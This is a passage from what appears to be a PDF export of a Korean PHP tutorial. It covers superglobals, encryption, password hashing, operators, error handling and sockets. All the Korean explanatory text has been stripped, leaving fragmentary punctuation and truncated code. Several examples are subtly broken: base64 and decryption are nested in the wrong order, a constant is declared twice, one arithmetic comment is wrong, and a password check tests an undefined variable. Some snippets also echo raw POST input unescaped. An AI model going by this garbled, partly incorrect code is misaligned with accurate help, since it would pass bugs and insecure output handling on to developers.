if(isset($_POST['username'])){
echo $_POST['username'];
}
//This will print value of HTML field with name username submitted using POST Method
?>
<?php
if($_FILES['picture']){
echo "<pre>";
print_r($_FILES['picture']);
echo "</pre>";
}
/**
This will print details of the File with name picture uploaded via a form with method='post
and with enctype='multipart/form-data'
Details includes Name of file, Type of File, temporary file location, error code(if any error
occured while uploading the file) and size of file in Bytes.
Eg.
Array
(
[picture] => Array
(
[0] => Array
(
[name] => 400.png
[type] => image/png
[tmp_name] => /tmp/php5Wx0aJ
[error] => 0
[size] => 15726
)
)
)
*/
?>
$ _SERVER : , HTTP .
<?php
echo "<pre>";
print_r($_SERVER);
echo "</pre>";
/**
Will print the following details
on my local XAMPP
Array
(
[MIBDIRS] => C:/xampp/php/extras/mibs
[MYSQL_HOME] => \xampp\mysql\bin
[OPENSSL_CONF] => C:/xampp/apache/bin/openssl.cnf
[PHP_PEAR_SYSCONF_DIR] => \xampp\php
[PHPRC] => \xampp\php
https://riptutorial.com/ko/home 295
[TMP] => \xampp\tmp
[HTTP_HOST] => localhost
[HTTP_CONNECTION] => keep-alive
[HTTP_CACHE_CONTROL] => max-age=0
[HTTP_UPGRADE_INSECURE_REQUESTS] => 1
[HTTP_USER_AGENT] => Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/52.0.2743.82 Safari/537.36
[HTTP_ACCEPT] => text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*;q=0.8
[HTTP_ACCEPT_ENCODING] => gzip, deflate, sdch
[HTTP_ACCEPT_LANGUAGE] => en-US,en;q=0.8
[PATH] => C:\xampp\php;C:\ProgramData\ComposerSetup\bin;
[SystemRoot] => C:\Windows
[COMSPEC] => C:\Windows\system32\cmd.exe
[PATHEXT] => .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
[WINDIR] => C:\Windows
[SERVER_SIGNATURE] => Apache/2.4.16 (Win32) OpenSSL/1.0.1p PHP/5.6.12 Server at localhost
Port 80
[SERVER_SOFTWARE] => Apache/2.4.16 (Win32) OpenSSL/1.0.1p PHP/5.6.12
[SERVER_NAME] => localhost
[SERVER_ADDR] => ::1
[SERVER_PORT] => 80
[REMOTE_ADDR] => ::1
[DOCUMENT_ROOT] => C:/xampp/htdocs
[REQUEST_SCHEME] => http
[CONTEXT_PREFIX] =>
[CONTEXT_DOCUMENT_ROOT] => C:/xampp/htdocs
[SERVER_ADMIN] => postmaster@localhost
[SCRIPT_FILENAME] => C:/xampp/htdocs/abcd.php
[REMOTE_PORT] => 63822
[GATEWAY_INTERFACE] => CGI/1.1
[SERVER_PROTOCOL] => HTTP/1.1
[REQUEST_METHOD] => GET
[QUERY_STRING] =>
[REQUEST_URI] => /abcd.php
[SCRIPT_NAME] => /abcd.php
[PHP_SELF] => /abcd.php
[REQUEST_TIME_FLOAT] => 1469374173.88
[REQUEST_TIME] => 1469374173
)
*/
?>
<?php
$cookie_name = "data";
$cookie_value = "Foo Bar";
setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/"); // 86400 = 1 day
if(!isset($_COOKIE[$cookie_name])) {
echo "Cookie named '" . $cookie_name . "' is not set!";
}
else {
echo "Cookie '" . $cookie_name . "' is set!<br>";
echo "Value is: " . $_COOKIE[$cookie_name];
}
/**
Output
https://riptutorial.com/ko/home 296
Cookie 'data' is set!
Value is: Foo Bar
*/
?>
$ _SESSION : SuperGlobal .
<?php
//Start the session
session_start();
/**
Setting the Session Variables
that can be accessed on different
pages on save server.
*/
$_SESSION["username"] = "John Doe";
$_SESSION["user_token"] = "d5f1df5b4dfb8b8d5f";
echo "Session is saved successfully";
/**
Output
Session is saved successfully
*/
?>
Suberglobals
, .
, .
??
- .
PHP 7.1.3 9 . :
• $GLOBALS - .
• $_SERVER -
• $_GET - HTTP GET
• $_POST - HTTP POST
• $_FILES - HTTP
• $_COOKIE _ - HTTP
• $_SESSION -
• $_REQUEST - HTTP
• $_ENV -
https://riptutorial.com/ko/home 297
, .
!
$GLOBALS
. .
function test()
{
$myLocal = "local"; // declare variable inside of scope
// both variables are printed
var_dump($myLocal);
var_dump($GLOBALS["myGlobal"]);
}
$myLocal test() .
1 : global
function test()
{
global $myLocal;
$myLocal = "local";
var_dump($myLocal);
var_dump($GLOBALS["myGlobal"]);
}
global .
2 : $GLOBALS
function test()
{
https://riptutorial.com/ko/home 298
$GLOBALS["myLocal"] = "local";
$myLocal = $GLOBALS["myLocal"];
var_dump($myLocal);
var_dump($GLOBALS["myGlobal"]);
}
$GLOBAL["myLocal"] $myLocal . .
$_SERVER
(WAMP Windows PC ).
C:\wamp64\www\test.php:2:
array (size=36)
'HTTP_HOST' => string 'localhost' (length=9)
'HTTP_CONNECTION' => string 'keep-alive' (length=10)
'HTTP_CACHE_CONTROL' => string 'max-age=0' (length=9)
'HTTP_UPGRADE_INSECURE_REQUESTS' => string '1' (length=1)
'HTTP_USER_AGENT' => string 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36' (length=110)
'HTTP_ACCEPT' => string
'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' (length=74)
'HTTP_ACCEPT_ENCODING' => string 'gzip, deflate, sdch, br' (length=23)
'HTTP_ACCEPT_LANGUAGE' => string 'en-US,en;q=0.8,en-GB;q=0.6' (length=26)
'HTTP_COOKIE' => string 'PHPSESSID=0gslnvgsci371ete9hg7k9ivc6' (length=36)
'PATH' => string 'C:\Program Files (x86)\NVIDIA Corporation\PhysX\Common;C:\Program Files
(x86)\Intel\iCLS Client\;C:\Program Files\Intel\iCLS
Client\;C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\
Files\ATI Technologies\ATI.ACE\Core-Static;E:\Program Files\AMD\ATI.ACE\Core-Static;C:\Program
Files (x86)\AMD\ATI.ACE\Core-Static;C:\Program Files (x86)\ATI Technologies\ATI.ACE\Core-
Static;C:\Program Files\Intel\Intel(R) Managemen'... (length=1169)
'SystemRoot' => string 'C:\WINDOWS' (length=10)
'COMSPEC' => string 'C:\WINDOWS\system32\cmd.exe' (length=27)
'PATHEXT' => string '.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY'
(length=57)
'WINDIR' => string 'C:\WINDOWS' (length=10)
'SERVER_SIGNATURE' => string '<address>Apache/2.4.23 (Win64) PHP/7.0.10 Server at
localhost Port 80</address>' (length=80)
'SERVER_SOFTWARE' => string 'Apache/2.4.23 (Win64) PHP/7.0.10' (length=32)
'SERVER_NAME' => string 'localhost' (length=9)
'SERVER_ADDR' => string '::1' (length=3)
'SERVER_PORT' => string '80' (length=2)
'REMOTE_ADDR' => string '::1' (length=3)
'DOCUMENT_ROOT' => string 'C:/wamp64/www' (length=13)
'REQUEST_SCHEME' => string 'http' (length=4)
'CONTEXT_PREFIX' => string '' (length=0)
'CONTEXT_DOCUMENT_ROOT' => string 'C:/wamp64/www' (length=13)
'SERVER_ADMIN' => string '[email protected]' (length=29)
'SCRIPT_FILENAME' => string 'C:/wamp64/www/test.php' (length=26)
'REMOTE_PORT' => string '5359' (length=4)
'GATEWAY_INTERFACE' => string 'CGI/1.1' (length=7)
'SERVER_PROTOCOL' => string 'HTTP/1.1' (length=8)
'REQUEST_METHOD' => string 'GET' (length=3)
'QUERY_STRING' => string '' (length=0)
'REQUEST_URI' => string '/test.php' (length=13)
'SCRIPT_NAME' => string '/test.php' (length=13)
'PHP_SELF' => string '/test.php' (length=13)
https://riptutorial.com/ko/home 299
'REQUEST_TIME_FLOAT' => float 1491068771.413
'REQUEST_TIME' => int 1491068771
. .
. ? , ;)
URL http://www.example.com/index.php .
• HTTP_HOST - .
www.example.com.
• HTTP_USER_AGENT - . .
• HTTP_COOKIE - ( ).
• SERVER_ADDR - IP .
93.184.216.34 93.184.216.34
• PHP_SELF - . .
/index.php .
• REQUEST_TIME_FLOAT - . PHP 5.4.0 .
• REQUEST_TIME - . PHP 5.1.0 .
$_GET
URL .
// URL = http://www.example.com/index.php?myVar=myVal
echo $_GET["myVar"] == "myVal" ? "true" : "false"; // returns "true"
// URL = http://www.example.com/index.php?myVar=myVal&myVar2=myVal2
echo $_GET["myVar"]; // returns "myVal"
echo $_GET["myVar2"]; // returns "myVal2"
( & ) URL .
URL . .
$_POST
https://riptutorial.com/ko/home 300
HTTP Content-Type application / x-www-form-urlencoded multipart / form-data HTTP
POST .
$_GET .
.( action ).
<form method="POST">
<input type="text" name="myVar" value="myVal" />
<input type="submit" name="submit" value="Submit" />
</form>
. value . .
POST . HTTPS .
$_FILES
action . enctype="multipart/form-data" . .
. . multiple .
.
https://riptutorial.com/ko/home 301
<input type="submit" name="Submit" />
</form>
. .
• input . . $_FILES["myVar"] .
• multiple="multiple" . .
default:
echo "An unknown error has occured.";
break;
}
}
https://riptutorial.com/ko/home 302
PHP ( : PHP SQL ) . .
. $total .
for $_FILES . if .
.
$_COOKIE
HTTP .
. .
setcookie . .
$_SESSION
. Session .
session_start() .
. .
$_SESSION["myVar"] = "myVal";
ID "PHPSESSID" ID . session_id() .
$_REQUEST
https://riptutorial.com/ko/home 303
PHP $_GET , $_POST $_COOKIE .
php.ini request_order . .
, "GPC" , $_REQUEST $_GET , $_POST , $_COOKIE $_COOKIE . $_COOKIE $_REQUEST .
.
$_ENV
$_ENV PHP .
$_ENV php.ini .
$_ENV .
PHP : https://riptutorial.com/ko/php/topic/3392/---php
https://riptutorial.com/ko/home 304
73:
• .
• <scheme> : // <target>
<scheme>://<target>
•
•
•
• ZIP TAR
•
• /
PHP .
( schemes ) :
• file : // -
• http : // - HTTP (s) URL
• ftp : // - FTP URL
• php : // - I / O
• phar : // - PHP
• ssh2 : // - 2
• ogg : // -
Examples
.
PATCH HTTP .
class FooWrapper {
// this will be modified by PHP to show the context passed in the current call.
public $context;
// when fopen() with a protocol for this wrapper is called, this method can be implemented
https://riptutorial.com/ko/home 305
to store data like the host.
public function stream_open(string $path, string $mode, int $options, string &$openedPath)
: bool {
$url = parse_url($path);
if($url === false) return false;
$this->url = $url["host"] . "/" . $url["path"];
return true;
}
. . http://php.net/streamWrapper .
: https://riptutorial.com/ko/php/topic/5725/
https://riptutorial.com/ko/home 306
74:
/* Base64 Encoded Encryption / $enc_data = base64_encode( openssl_encrypt($data, $method,
$password, true, $iv) ); / Decode and Decrypt */ $dec_data = base64_decode(
openssl_decrypt($enc_data, $method, $password, true, $iv) );
64 .
Examples
CBC AES 256 . openssl . $strong IV .
/* Retrieve the IV from the database and the password from a POST request */
$dec_data = openssl_decrypt($enc_data, $method, $pass, true, $iv); // Decrypt
Base64
base64_encode() base64_decode() .
https://riptutorial.com/ko/home 307
$dec_data = openssl_decrypt(base64_decode($enc_data), $method, $password, true, $iv);
OpenSSL
PHP . openssl_encrypt .
. AES-128-CBC .
/**
* Define the number of blocks that should be read from the source file for each chunk.
* For 'AES-128-CBC' each block consist of 16 bytes.
* So if we read 10,000 blocks we load 160kb into memory. You may adjust this value
* to read/write shorter or longer chunks.
*/
define('FILE_ENCRYPTION_BLOCKS', 10000);
/**
* Encrypt the passed file and saves the result in a new file with ".enc" as suffix.
*
* @param string $source Path to file that should be encrypted
* @param string $key The key used for the encryption
* @param string $dest File name where the encryped file should be written to.
* @return string|false Returns the file name that has been created or FALSE if an error
occured
*/
function encryptFile($source, $key, $dest)
{
$key = substr(sha1($key, true), 0, 16);
$iv = openssl_random_pseudo_bytes(16);
$error = false;
if ($fpOut = fopen($dest, 'w')) {
// Put the initialzation vector to the beginning of the file
fwrite($fpOut, $iv);
if ($fpIn = fopen($source, 'rb')) {
while (!feof($fpIn)) {
$plaintext = fread($fpIn, 16 * FILE_ENCRYPTION_BLOCKS);
$ciphertext = openssl_encrypt($plaintext, 'AES-128-CBC', $key,
OPENSSL_RAW_DATA, $iv);
// Use the first 16 bytes of the ciphertext as the next initialization vector
$iv = substr($ciphertext, 0, 16);
fwrite($fpOut, $ciphertext);
}
fclose($fpIn);
} else {
$error = true;
}
fclose($fpOut);
} else {
$error = true;
}
https://riptutorial.com/ko/home 308
/**
* Dencrypt the passed file and saves the result in a new file, removing the
* last 4 characters from file name.
*
* @param string $source Path to file that should be decrypted
* @param string $key The key used for the decryption (must be the same as for encryption)
* @param string $dest File name where the decryped file should be written to.
* @return string|false Returns the file name that has been created or FALSE if an error
occured
*/
function decryptFile($source, $key, $dest)
{
$key = substr(sha1($key, true), 0, 16);
$error = false;
if ($fpOut = fopen($dest, 'w')) {
if ($fpIn = fopen($source, 'rb')) {
// Get the initialzation vector from the beginning of the file
$iv = fread($fpIn, 16);
while (!feof($fpIn)) {
$ciphertext = fread($fpIn, 16 * (FILE_ENCRYPTION_BLOCKS + 1)); // we have to
read one block more for decrypting than for encrypting
$plaintext = openssl_decrypt($ciphertext, 'AES-128-CBC', $key,
OPENSSL_RAW_DATA, $iv);
// Use the first 16 bytes of the ciphertext as the next initialization vector
$iv = substr($ciphertext, 0, 16);
fwrite($fpOut, $plaintext);
}
fclose($fpIn);
} else {
$error = true;
}
fclose($fpOut);
} else {
$error = true;
}
$fileName = __DIR__.'/testfile.txt';
$key = 'my secret key';
file_put_contents($fileName, 'Hello World, here I am.');
encryptFile($fileName, $key, $fileName . '.enc');
decryptFile($fileName . '.enc', $key, $fileName . '.dec');
1. testfile.txt
2. testfile.txt.enc
3. testfile.txt.dec . testfile.txt .
: https://riptutorial.com/ko/php/topic/5794/-
https://riptutorial.com/ko/home 309
75:
PHP ( ) . PHP .
• bcrypt .
• argon2 PHP 7.2 .
. . .
• MD4 - 1995
• MD5 - 2005
• SHA-1 - 2015
• SHA-2
• SHA-3
Examples
PASSWORD_DEFAULT , .
<?php
// first determine if a supplied password is valid
if (password_verify($plaintextPassword, $hashedPassword)) {
// now determine if the existing hash was created with an algorithm that is
// no longer the default
if (password_needs_rehash($hashedPassword, PASSWORD_DEFAULT)) {
https://riptutorial.com/ko/home 310
// and then save it to your data store
//$db->update(...);
}
}
?>
password_ * ( ) .
<?php
if (substr($hashedPassword, 0, 4) == '$2y$' && strlen($hashedPassword) == 60) {
echo 'Algorithm is Bcrypt';
// the "cost" determines how strong this version of Bcrypt is
preg_match('/\$2y\$(\d+)\$/', $hashedPassword, $matches);
$cost = $matches[1];
echo 'Bcrypt cost is '.$cost;
}
?>
$options = [
'cost' => 12,
];
5.5
https://riptutorial.com/ko/home 311
. .
. .
., . .
password_hash() bcrypt .
7.0
salt .
$options = [
'salt' => $salt, //see example below
];
. password_hash () . .
7.0
<?php
if (password_verify($plaintextPassword, $hashedPassword)) {
echo 'Valid Password';
}
else {
echo 'Invalid Password.';
}
?>
password_ * ( ) crypt() . .
<?php
// not guaranteed to maintain the same cryptographic strength of the full `password_hash()`
// implementation
if (CRYPT_BLOWFISH == 1) {
// `crypt()` discards all characters beyond the salt length, so we can pass in
// the full hashed password
$hashedCheck = crypt($plaintextPassword, $hashedPassword);
if ($status === 0) {
echo 'Valid Password';
}
https://riptutorial.com/ko/home 312
else {
echo 'Invalid Password';
}
}
?>
: https://riptutorial.com/ko/php/topic/530/--
https://riptutorial.com/ko/home 313
76:
Examples
$fruit1 = ['apples', 'pears'];
$fruit2 = ['bananas', 'oranges'];
array_merge .
array_merge .
+ .
array_intersect .
. .
array_intersect . array_intersect_assoc .
https://riptutorial.com/ko/home 314
$intersect = array_intersect_assoc($array_one, $array_two, $array_three);
// $intersect contains [1 =>'one',2 => 'two']
array_intersect_key . .
(, )
. .
/*
array (
'key1' => 'value1',
'key2' => 'value2',
'key3' => 'value3',
)
*/
[
['foo', 'bar'],
['fizz', 'buzz'],
]
[
'foo' => 'bar',
'fizz' => 'buzz',
]
$multidimensionalArray = [
['foo', 'bar'],
['fizz', 'buzz'],
];
$associativeArrayKeys = array_column($multidimensionalArray, 0);
$associativeArrayValues = array_column($multidimensionalArray, 1);
$associativeArray = array_combine($associativeArrayKeys, $associativeArrayValues);
https://riptutorial.com/ko/home 315
$associativeArrayKeys $associativeArrayValues .
: https://riptutorial.com/ko/php/topic/6827/---
https://riptutorial.com/ko/home 316
77:
() (, ) .
( ). ( ). . ( ).
-> ::
new clone
**
instanceof
*/%
+-.
<< >>
&
&&
||
??
? :
= += -= *= **= /= .= %= &= `
and
xor
https://riptutorial.com/ko/home 317
or
Examples
(. . =)
• () :
$a = "a";
$b = "b";
$c = $a . $b; // $c => "ab"
• ( =) :
$a = "a";
$a .= "b"; // $a => "ab"
(=)
$a = "some string";
$a some string $a .
. = !
$a = 3;
$b = ($a = 5);
1. 1 3 $a $a .
2. 2 $a 5 $a . 5 .
3. 2 (5) $b .
$a $b 5 .
(+ = )
https://riptutorial.com/ko/home 318
$a = 1; // basic assignment
$a += 2; // read as '$a = $a + 2'; $a now is (1 + 2) => 3
$a -= 1; // $a now is (3 - 1) => 2
$a *= 2; // $a now is (2 * 2) => 4
$a /= 2; // $a now is (16 / 2) => 8
$a %= 5; // $a now is (8 % 5) => 3 (modulus or remainder)
// array +
$arrOne = array(1);
$arrTwo = array(2);
$arrOne += $arrTwo;
$a = "a";
$a .= "b"; // $a => "ab"
2 :
$a = 0b00101010; // $a now is 42
$a &= 0b00001111; // $a now is (00101010 & 00001111) => 00001010 (bitwise and)
$a |= 0b00100010; // $a now is (00001010 | 00100010) => 00101010 (bitwise or)
$a ^= 0b10000010; // $a now is (00101010 ^ 10000010) => 10101000 (bitwise xor)
$a >>= 3; // $a now is (10101000 >> 3) => 00010101 (shift right by 3)
$a <<= 1; // $a now is (00010101 << 1) => 00101010 (shift left by 1)
()
( ).
$a = 2 * 3 + 4;
2 * 3 ( ) 6 + 4 10 ) $a 10.
$a = 2 * (3 + 4);
$a (3 + 4) (3 + 4) 14 .
( ).
* % . (), .
https://riptutorial.com/ko/home 319
() .
$a = 1;
$b = 1;
$a = $b += 1;
$a $b 2 $b += 1 ( $b 2 ) $a .
, == . === .
equal .
$a = 4;
$b = '4';
if ($a == $b) {
echo 'a and b are equal'; // this will be printed
}
if ($a === $b) {
echo 'a and b are identical'; // this won't be printed
}
=== . , new stdClass() === new stdClass() ( new stdClass() === new stdClass() false .
== ( deep equals ) . $a == $b $a $b :
1.
2. .
3. $property $a->property == $b->property ( ).
1. ( > )
2. ( < )
3. ( >= )
4. ( <= )
5. ( != )
6. ( !== )
https://riptutorial.com/ko/home 320
var_dump(5 > 2); // prints bool(true)
var_dump(2 > 7); // prints bool(false)
$a = 4;
$b = '4';
if ($a != $b) {
echo 'a and b are not equal'; // this won't be printed
}
if ($a !== $b) {
echo 'a and b are not identical'; // this will be printed
}
(<=>)
PHP 7 . -1, 0 1 .
// Integers
print (1 <=> 1); // 0
print (1 <=> 2); // -1
print (2 <=> 1); // 1
// Floats
print (1.5 <=> 1.5); // 0
print (1.5 <=> 2.5); // -1
print (2.5 <=> 1.5); // 1
// Strings
print ("a" <=> "a"); // 0
https://riptutorial.com/ko/home 321
print ("a" <=> "b"); // -1
print ("b" <=> "a"); // 1
PHP 5 .
Null (??)
if (isset($_POST['name'])) {
$name = $_POST['name'];
} else {
$name = 'nobody';
}
( ) .
if (isset($_GET['name'])) {
$name = $_GET['name'];
} elseif (isset($_POST['name'])) {
$name = $_POST['name'];
} else {
$name = 'nobody';
}
https://riptutorial.com/ko/home 322
:
() .
$firstName = "John";
$lastName = "Doe";
echo $firstName ?? "Unknown" . " " . $lastName ?? "";
$firstName = "John";
$lastName = "Doe";
echo ($firstName ?? "Unknown") . " " . ($lastName ?? "");
instanceof ( )
() . instanceof false . .
() . , ( !) .
class MyClass {
}
// counter examples:
$b = 'b';
$a = $o1 instanceof 'MyClass'; // parse error: constant not allowed
$a = false instanceof MyClass; // fatal error: constant not allowed
$a = $b instanceof MyClass; // false ($b is not an object)
instanceof .
interface MyInterface {
}
$o = new MySubClass();
https://riptutorial.com/ko/home 323
// in the cases below, $a gets boolean value true
$a = $o instanceof MySubClass;
$a = $o instanceof MySuperClass;
$a = $o instanceof MyInterface;
( , not ! ) :
class MyClass {
}
class OtherClass {
}
$o = new MyClass();
$a = !$o instanceof OtherClass; // true
$o = new MyClass();
$a = $o instanceof OtherClass; // OtherClass is not defined!
// if OtherClass can be defined in a registered autoloader, it is actually
// loaded and $a gets boolean value false ($o is not a OtherClass)
// if OtherClass can not be defined in a registered autoloader, a fatal
// error occurs.
$name = 'YetAnotherClass';
$a = $o instanceof $name; // YetAnotherClass is not defined!
// $a simply gets boolean value false, YetAnotherClass remains undefined.
PHP 5.1.0 .
PHP (5.0 )
PHP (5.0 ) is_a . PHP 5 PHP 5.3.0 .
(? :)
if . . operator . .
https://riptutorial.com/ko/home 324
$action = empty($_POST['action']) ? 'default' : $_POST['action'];
(++) (-)
++ -- 1 . .
$i = 1;
echo $i; // Prints 1
(``)
PHP (``) . , .
// List files
$output = `ls`;
echo "<pre>$output</pre>";
execute shell_exec() .
https://riptutorial.com/ko/home 325
(&& AND AND || / OR)
PHP AND OR .
True
$a and $b $a $b true.
$a && $b $a $b true.
$a or $b $a $b .
$a || $b $a $b .
$e
&& || . and or .
// bitwise NOT ~: sets all unset bits and unsets all set bits
printf("%'06b", ~0b110110); // 001001
-
AND & : .
OR | : .
XOR ^ : ,
. :
https://riptutorial.com/ko/home 326
file_put_contents("file.log", LOCK_EX | FILE_APPEND);
,| .+ | .
class Foo{
const OPTION_A = 1;
const OPTION_B = 2;
const OPTION_C = 4;
const OPTION_A = 8;
( $option ) :
• ^ .
• | .
• ~ 1 . .
• & &:
○ &= (1 & 1) === 1 , &= (1 & 1) === 1 , (0 & 1) === 0 ) . .
○ &= ( (1 & 0) === 0 , (0 & 0) === 0 )
• & .
○ .
○ .
<< : ( ) int
https://riptutorial.com/ko/home 327
<< $x $x $x 2
>> : ( ).
>> $x 2 $x .
:
(16) ( /= 16 )
$x >>= 4;
32 0 . 64 32
32 $x & 0xFFFFFFFF .
: printf("%'06b") . 6 .
( -> ) ( :: :) .
class MyClass {
public $a = 1;
public static $b = 2;
const C = 3;
public function d() { return 4; }
public static function e() { return 5; }
}
var_dump(MyClass::d()); d() .
https://riptutorial.com/ko/home 328
class MyClass {
private $a = 1;
public function d() {
return $this->a;
}
}
'' .
class MyClass {
private $a = 1;
( ) clone . :
class MyClass {
private $a = 0;
public function add(int $a) {
$this->a += $a;
return $this;
}
public function get() {
return $this->a;
}
}
$o1 !
PHP 5 (PHP 7 ).
https://riptutorial.com/ko/home 329
: https://riptutorial.com/ko/php/topic/1687/
https://riptutorial.com/ko/home 330
78:
Examples
php.ini , .
// -1 will show every possible error, even when new levels and constants are added
// in future PHP versions. E_ALL does the same up to 5.4.
error_reporting(-1);
// without notices
error_reporting(E_ALL & ~E_NOTICE);
PHP , error.log .
ini_set('display_errors', 1);
ini_set('display_errors', 0);
/
try..catch . PHP .
try {
// Do a bunch of things...
throw new Exception('My test exception!');
} catch (Exception $ex) {
// Your logic failed. What do you want to do about that? Log it:
file_put_contents('my_error_log.txt', $ex->getMessage(), FILE_APPEND);
}
catch . .
https://riptutorial.com/ko/home 331
try {
throw new InvalidArgumentException('Argument #1 must be an integer!');
} catch (InvalidArgumentException $ex) {
var_dump('Invalid argument exception caught: ' . $ex->getMessage());
} catch (Exception $ex) {
var_dump('Standard exception caught: ' . $ex->getMessage());
}
UnexpectedValueException Exception .
try {
throw new Exception('Hello world');
} catch (Exception $e) {
echo 'Uh oh! ' . $e->getMessage();
} finally {
echo " - I'm finished now - home time!";
}
! - - !
function fatalErrorHandler() {
// Let's get last error that was fatal.
$error = error_get_last();
https://riptutorial.com/ko/home 332
// Get useful info out of error.
$type = $error["type"];
$file = $error["file"];
$line = $error["line"];
$message = $error["message"]
fprintf(
$logFile,
"[%s] %s: %s in %s:%d\n",
date("Y-m-d H:i:s"),
$type,
$message,
$file,
$line);
fclose($logFile);
}
register_shutdown_function('fatalErrorHandler');
• http://php.net/manual/en/function.register-shutdown-function.php
• http://php.net/manual/en/function.error-get-last.php
• http://php.net/manual/en/errorfunc.constants.php
: https://riptutorial.com/ko/php/topic/391/---
https://riptutorial.com/ko/home 333
79:
Examples
:
.:
1. isset()
2. array_key_exists()
: -
HTTP .
<!DOCTYPE html>
<?php
// Too late for headers already.
<?php
# There's a SINGLE space/newline before <? - Which already seals it.
: T_PAAMAYIM_NEKUDOTAYIM
$classname::doMethod();
https://riptutorial.com/ko/home 334
.
$classname->doMethod();
: https://riptutorial.com/ko/php/topic/3509/---
https://riptutorial.com/ko/home 335
80:
GET POST
GET (, ...). URL .
GET POST ?
( ). .
Examples
$_FILES["FILE_NAME"]['error'] ( "FILE_NAME" ) .
1. UPLOAD_ERR_OK - .
2. UPLOAD_ERR_INI_SIZE - php.ini upload_max_filesize .
3. UPLOAD_ERR_PARTIAL - HTML MAX_FILE_SIZE .
4. UPLOAD_ERR_NO_FILE - .
5. UPLOAD_ERR_NO_TMP_DIR - . (PHP 5.0.3).
6. UPLOAD_ERR_CANT_WRITE - . (PHP 5.1.0).
7. UPLOAD_ERR_EXTENSION - PHP . (PHP 5.2.0).
<?php
$fileError = $_FILES["FILE_NAME"]["error"]; // where FILE_NAME is the name attribute of the
file input in your form
switch($fileError) {
case UPLOAD_ERR_INI_SIZE:
// Exceeds max size in php.ini
break;
case UPLOAD_ERR_PARTIAL:
// Exceeds max size in html form
break;
case UPLOAD_ERR_NO_FILE:
// No file was uploaded
break;
case UPLOAD_ERR_NO_TMP_DIR:
// No /tmp dir to write to
break;
case UPLOAD_ERR_CANT_WRITE:
// Error writing to disk
break;
default:
// No error was faced! Phew!
https://riptutorial.com/ko/home 336
break;
}
POST
7.0
GET
: (URL : /topics.php?author=alice&topic=php )
7.0
POST
php://input .
$rawdata = file_get_contents("php://input");
// Let's say we got JSON
https://riptutorial.com/ko/home 337
$decoded = json_decode($rawdata);
5.6
$rawdata = $HTTP_RAW_POST_DATA;
// Or maybe we get XML
$decoded = simplexml_load_string($rawdata);
multipart/form-data multipart/form-data .
HTTP PUT
PHP :
<?php
/* PUT data comes in on the stdin stream */
$putdata = fopen("php://input", "r");
SO / HTTP PUT .
POST
PHP HTML . :
<pre>
<?php print_r($_POST);?>
</pre>
<form method="post">
<input type="hidden" name="foo" value="bar"/>
<button type="submit">Submit</button>
</form>
https://riptutorial.com/ko/home 338
.
Array
(
[foo] => bar
)
. HTML PHP .
<pre>
<?php print_r($_POST);?>
</pre>
<form method="post">
<input type="hidden" name="foo[]" value="bar"/>
<input type="hidden" name="foo[]" value="baz"/>
<button type="submit">Submit</button>
</form>
Array
(
[foo] => Array
(
[0] => bar
[1] => baz
)
<pre>
<?php print_r($_POST);?>
</pre>
<form method="post">
<input type="hidden" name="foo[42]" value="bar"/>
<input type="hidden" name="foo[foo]" value="baz"/>
<button type="submit">Submit</button>
</form>
Array
(
[foo] => Array
(
[42] => bar
[foo] => baz
)
$_POST .
https://riptutorial.com/ko/home 339
: https://riptutorial.com/ko/php/topic/2668/--
https://riptutorial.com/ko/home 340
81:
BSD .
Examples
TCP / IP
PHP http://php.net/manual/en/sockets.examples.php .
<?php
set_time_limit(0); // disable timeout
ob_implicit_flush(); // disable output caching
// Settings
$address = '127.0.0.1';
$port = 5000;
/*
function socket_create ( int $domain , int $type , int $protocol )
$domain can be AF_INET, AF_INET6 for IPV6 , AF_UNIX for Local communication protocol
$protocol can be SOL_TCP, SOL_UDP (TCP/UDP)
@returns true on success
*/
/*
socket_bind ( resource $socket , string $address [, int $port = 0 ] )
Bind socket to listen to address and port
*/
do {
if (($msgsock = socket_accept($socket)) === false) {
echo "Error: socket_accept: " . socket_strerror(socket_last_error($socket)) . "\n";
break;
}
https://riptutorial.com/ko/home 341
// Listen to user input
do {
if (false === ($buf = socket_read($msgsock, 2048, PHP_NORMAL_READ))) {
echo "socket read error: ".socket_strerror(socket_last_error($msgsock)) . "\n";
break 2;
}
if (!$buf = trim($buf)) {
continue;
}
} while (true);
socket_close($msgsock);
} while (true);
socket_close($socket);
?>
: https://riptutorial.com/ko/php/topic/9598/-
